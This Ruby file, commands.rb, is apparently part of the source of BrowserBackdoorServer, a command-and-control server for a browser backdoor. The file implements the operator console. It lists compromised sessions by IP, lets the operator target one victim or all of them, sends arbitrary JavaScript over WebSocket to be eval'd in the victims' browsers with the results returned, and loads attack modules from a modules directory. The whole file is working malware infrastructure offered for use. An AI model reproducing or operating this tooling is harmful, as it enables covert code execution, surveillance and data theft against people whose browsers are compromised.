server/lib/bbs/commands.rb
#
# Copyright (c) 2016 IMcPwn - http://imcpwn.com
# BrowserBackdoorServer by IMcPwn.
# See the file 'LICENSE' for copying permission
#
require_relative 'printcolor'
require_relative 'websocket'
require 'colorize'
module Bbs
module Command
def Command.sendAllSessions(cmd, wsList)
wsList.each_with_index {|_item, index|
Bbs::WebSocket.sendCommand(cmd, wsList[index])
}
end
def Command.infoCommand(log, info_commands, selected, wsList)
info_commands.each {|_key, cmd|
begin
if selected != -1
Bbs::WebSocket.sendCommand(cmd, wsList[selected])
else
sendAllSessions(cmd, wsList)
end
rescue => e
log.error("Error executing info command: #{e.message}.")
Bbs::PrintColor.print_error("Error executing info command: #{e.message}.")
break
end
}
end
def Command.sessionsCommand(selected, wsList)
if wsList.length < 1
puts "No sessions"
return
end
puts "The session ID with astericks is the currently targeted session."
puts "If no target is selected (ID -1), all sessions are targeted."
puts "ID / IP / Identifier"
wsList.each_with_index {|val, index|
if index == selected
current = "*" + index.to_s + "*" + " / " + Bbs::WebSocket.convertIP(val) + " / " + val.to_s
else
current = index.to_s + " / " + Bbs::WebSocket.convertIP(val) + " / " + val.to_s
end
puts current
}
end
def Command.execCommandLoop(log, wss)
puts "Commands are sent in anonymous functions wrapped in setTimeout(fn, 0) and the eval'd results are returned."
puts "Commands are also automatically wrapped in ws.send(), so omit any semicolons (;)."
puts "Enter the command to send (exit to return to the previous prompt)."
while cmdSend = Readline::readline("\ncmd ##{wss.getSelected()} > ".colorize(:magenta))
if !Bbs::WebSocket.validSession?(wss.getSelected(), wss.getWsList())
break
end
break if cmdSend == "exit"
next if cmdSend == "" || cmdSend == nil
selected = wss.getSelected()
wsList = wss.getWsList()
wsSendCmd = "ws.send(" + cmdSend + ");"
begin
if selected != -1
Bbs::WebSocket.sendCommand(wsSendCmd, wsList[selected])
else
sendAllSessions(wsSendCmd, wsList)
end
rescue => e
log.error("Error sending command in execCommandLoop: #{e.message}.")
Bbs::PrintColor.print_error("Error sending command: #{e.message}.")
next
end
Readline::HISTORY.push(cmdSend)
end
end
def Command.execCommand(log, wss, uglify, cmdIn)
selected = wss.getSelected()
wsList = wss.getWsList()
if cmdIn.length < 2
execCommandLoop(log, wss)
else
begin
file = File.open(cmdIn[1], "r")
fileContent = file.read
cmdSend = fileContent
file.close
rescue => e
begin
file = File.open("modules/#{cmdIn[1]}.js", "r")
fileContent = file.read
cmdSend = fileContent
file.close
rescue => e
log.error("Could not open file to execute in execCommand: #{e.message}.")
Bbs::PrintColor.print_error("Could not open file to execute. Paths attempted: #{cmdIn[1]}, modules/#{cmdIn[1]}.js. Error: #{e.message}.")
return
end
end
if uglify
cmdSend = uglifyJS(log, cmdSend)
return if cmdSend == nil
end
if selected != -1
Bbs::WebSocket.sendCommand(cmdSend, wsList[selected])
else
sendAllSessions(cmdSend, wsList)
end
if fileContent.lines.first.chomp == "// INTERACTIVE"
execCommandLoop(log, wss)
end
end
end
def self.uglifyJS(log, js)
begin
require 'uglifier'
return Uglifier.new.compile(js)
rescue => e
error_message = "Error running UglifyJS on JavaScript code: #{e.message}."
log.error(error_message)
Bbs::PrintColor.print_error(error_message)
return
end
end
def Command.targetCommand(wss, cmdIn)
if cmdIn.length < 2
Bbs::PrintColor.print_notice("Currently targeted session is #{wss.getSelected()}.")
return
end
selectIn = cmdIn[1].to_i
if Bbs::WebSocket.validSession?(selectIn, wss.getWsList())
wss.setSelected(selectIn)
else
return
end
Bbs::PrintColor.print_notice("Selected session is now " + wss.getSelected().to_s + ".")
end
def Command.helpCommand(commands)
commands.each do |key, array|
print key
print " --> "
puts array
puts
end
end
def Command.getCertCommand()
if File.file?("./getCert.sh")
system("./getCert.sh")
return
end
print "Enter the location of getCert.sh: "
path = gets.chomp
if File.file?(path)
system("./" + path)
else
Bbs::PrintColor.print_error(path + " does not exist")
end
end
def Command.clearCommand()
puts "\e[H\e[2J"
end
def Command.lsCommand(cmdIn)
if cmdIn.length < 2
puts Dir.glob('*').select{ |e| File.file? e }.join(' ')
puts Dir.glob('*').select{ |e| File.directory? e }.join(' ').colorize(:blue)
else
puts Dir.glob(cmdIn[1] + "/*").select{ |e| File.file? e }.join(' ')
puts Dir.glob(cmdIn[1] + "/*").select{ |e| File.directory? e }.join(' ').colorize(:blue)
end
end
def Command.catCommand(log, cmdIn)
if cmdIn.length < 2
Bbs::PrintColor.print_error("Usage is cat FILE_PATH. Type help for help.")
else
begin
file = File.open(cmdIn[1], "r")
puts file.read
file.close
rescue => e
log.error("Error opening file in cat: #{e.message}.")
Bbs::PrintColor.print_error("Error opening file to read: #{e.message}.")
return
end
end
end
def Command.rmCommand(log, cmdIn)
if cmdIn.length < 2
Bbs::PrintColor.print_error("Usage is rm FILE_PATH. Type help for help.")
else
begin
File.delete(cmdIn[1])
rescue => e
log.error("Error deleting file in rm: #{e.message}.")
Bbs::PrintColor.print_error("Error deleting file: #{e.message}.")
return
end
end
end
def Command.modulesCommand()
puts "Modules with a star (*) afterwords are interactive modules."
puts
modules = Dir.glob("modules/*.js").select{ |e| File.file? e }
modules.each do |currModule|
begin
file = File.open(currModule)
fileContent = file.read
file.close
print currModule.gsub(/(modules\/|.\js)/, '')
if fileContent.lines.first.chomp == "// INTERACTIVE"
print "*"
end
print " "
rescue => e
Bbs::PrintColor.print_error("Error reading module #{currModule}: #{e.message}.")
next
end
end
end
end
end